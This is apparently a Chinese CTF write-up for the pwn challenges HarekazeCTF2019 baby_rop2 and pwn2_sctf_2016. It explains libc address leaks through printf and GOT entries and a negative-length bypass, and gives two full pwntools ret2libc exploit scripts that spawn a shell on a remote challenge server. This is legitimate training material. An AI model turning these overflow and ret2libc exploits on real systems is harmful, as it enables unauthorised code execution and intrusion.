严格符合printf的格式 [HarekazeCTF2019]baby_rop2
而且函数中没有system函数和相应字符串
要泄露libc的地址
通过read读取数据,用printf打印出来
printf 函数的 GOT 地址不能用来泄露 printf 自己的地址?
是的,这是个鸡生蛋蛋生鸡 的问题:
printf@got 保存的是 printf 的真实地址(libc 中的地址)。
但你要调用 printf 才能打印它,而调用 printf 又依赖 GOT 表项的地址。
如果 GOT 表项还没解析(延迟绑定),它指向 PLT stub,不是真实地址。
即使 GOT 表项已解析,你也无法通过 printf("%s", printf_got) 正确读取地址。
🧠 总结对比
puts(puts_got)
✅ 可行
puts会尝试打印从puts_got开始的内容,libc 中有字符串,不会崩溃
printf("%s", printf_got)
❌ 不可行
printf会尝试从printf_got地址读取字符串,但那是个函数地址,不是字符串
printf("%p", printf_got)
✅ 可行(需构造)
可以打印地址,但需要正确设置格式字符串
printf("%s", read_got)
✅ 可行(偶尔)
read_got指向的地址附近可能有字符串,可以打印出来
puts(printf_got)
✅ 可行(偶尔)
同上,但依赖 libc 中的字符串
要调用printf函数进行泄露,就要根据其特性来传参,printf函数有两个参数,一个格式化字符串,一个可变参数列表
RDI、RSI、RDX、RCX、R8、R9参数按照这个顺序传入寄存器中
有单独的rdi
所以rdi=0x400733
但没有单独对rsi的处理
所以rsi_r15=0x400731,对r15随便传入一个数就可
第一次payload的构造
1 2 3 4 5 6 7 8 9 10 payload = b'a'*0x28+p64(pop_rdi)+p64(format_str) payload+=p64(pop_rsi_r15)+p64(read_got)+p64(0) payload+=p64(printf_plt)+p64(main_plt) p.recvuntil(b"name? ") p.sendline(payload) read= u64(p.recvuntil(b"\x7f")[-6:] + b'\0\0') print(hex(read))
第二次通过计算出libc的基址,加上偏移量就得到了需要的函数的地址,就可与i进行构造了
1 payload = b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * from LibcSearcher import * context.log_level = 'debug' #p = process('./babyrop2') p = remote("node5.buuoj.cn",25235) elf = ELF('./babyrop2') pop_rdi = 0x0000000000400733 pop_rsi_r15 = 0x0000000000400731 format_str = 0x0000000000400770 ret_addr = 0x0000000000400734 printf_plt = elf.plt['printf'] read_got = elf.got['read'] main_plt = 0x400636 payload = b'a'*0x28+p64(pop_rdi)+p64(format_str) payload+=p64(pop_rsi_r15)+p64(read_got)+p64(0) payload+=p64(printf_plt)+p64(main_plt) p.recvuntil(b"name? ") p.sendline(payload) read= u64(p.recvuntil(b"\x7f")[-6:] + b'\0\0') print(hex(read)) libc = LibcSearcher('read', read) libc_base = read - libc.dump('read') sys_addr = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh') payload = b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr) p.sendline(payload) p.interactive()
单个函数 pwn2_sctf_2016
首先看到题目输入一个小于32的数,并把这个数当作get输入的最大限制
所以可以输入一个负数来解决这个限制
也是没有system函数的相关内容
考虑泄露libc的地址
:detective:用printf打印,可以用printf的got表、
因为你调用了 printf(printf_got)。
对于 printf 来说:
它看不到这是一个整数地址
它只是把你给的指针当作一个字符串格式 解析
如果你传入的这个地址是可读的内存,它就会按照那块内存的内容当作字符串去输出
所以如果只是传一个参数,printf函数会刚好把它当作字符串
刚好解决了传递它本身的got表地址,和只有一个参数的问题
1 payload=b'a' * (0x2c+4) + p32(printf_plt) + p32(main) + p32(printf_got)
之后就是标准流程
就是记得返回地址是main函数
要再次输入依次那个负数
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * from LibcSearcher import * from time import sleep r = remote("node5.buuoj.cn",28640) elf = ELF('./pwn2_sctf_2016') printf_plt = elf.plt['printf'] printf_got = elf.got['printf'] main= elf.sym['main'] r.recvuntil(b'read?') r.sendline(b'-1') r.recvuntil(b"data!\n") payload = b'a' * (0x2c+4) payload += p32(printf_plt) + p32(main) + p32(printf_got) r.sendline(payload) r.recvuntil('\n') printf_addr=u32(r.recv(4))#接受 libc = LibcSearcher('printf',printf_addr) base = printf_addr - libc.dump('printf') system_addr = base + libc.dump('system') bin_sh = base + libc.dump('str_bin_sh') r.recvuntil(b'How many bytes do you want me to read?') r.sendline(b'-1') r.recvuntil(b"data!\n") payload = b'a' * (0x2c+4) + p32(system_addr) + p32(main) + p32(bin_sh) r.sendline(payload) r.interactive()